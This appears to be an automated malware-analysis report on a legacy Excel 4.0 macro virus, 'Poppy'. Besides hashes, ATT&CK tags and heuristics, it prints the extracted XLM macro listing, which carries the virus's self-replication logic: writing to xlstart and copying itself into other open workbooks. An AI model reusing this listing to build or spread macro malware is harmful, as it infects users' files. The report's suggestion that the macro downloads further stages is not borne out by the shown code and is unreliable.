Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe47bb0f21830af4…

MALICIOUS

Office (OLE)

35.0 KB Created: 2012-10-16 09:00:33 Authoring application: Microsoft Excel First seen: 2014-09-26
MD5: bd44b3ee2126057f881836cc5deb9bbb SHA-1: 901a11cff2d813564aa31e453ef0bc35985471c6 SHA-256: fe47bb0f21830af43260f3534ae83fcd5539ad7c20cfbb02b5b8e264b23e9b7b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains critical heuristics indicating the presence of a legacy Excel 4.0 (XLM) macro, specifically an Auto_Open macro. The macro is identified as a known Excel Formula Macro Virus, 'Poppy', associated with 'VicodinES' and 'The Narkotic Network'. The macro's purpose is to infect other workbooks and potentially download and execute further stages, as suggested by the 'RUN=5' API call.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 5843 bytes
SHA-256: e3ed53a463c7d1b2ac2b05096f244d74b6ea184e0bac4849e55c2a91f8c5409e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x03\x008\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 4!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 4!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 4!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 4!C9 
' 0018     30 LABEL : Cell Value, String Constant - diem len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x02\x006\x00\x00\x00\x1b\x00'
' 0018    100 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\xe8|\xd7\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 4!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 4!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 4!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 4!C27 
' 0018     29 LABEL : Cell Value, String Constant - ten len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x02\x006\x00\x00\x00\x1b\x00'
' 0018     30 LABEL : Cell Value, String Constant - ten1 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x02\x00l\x00\x00\x00\x15\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("? 1998 The Narkotic Network",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""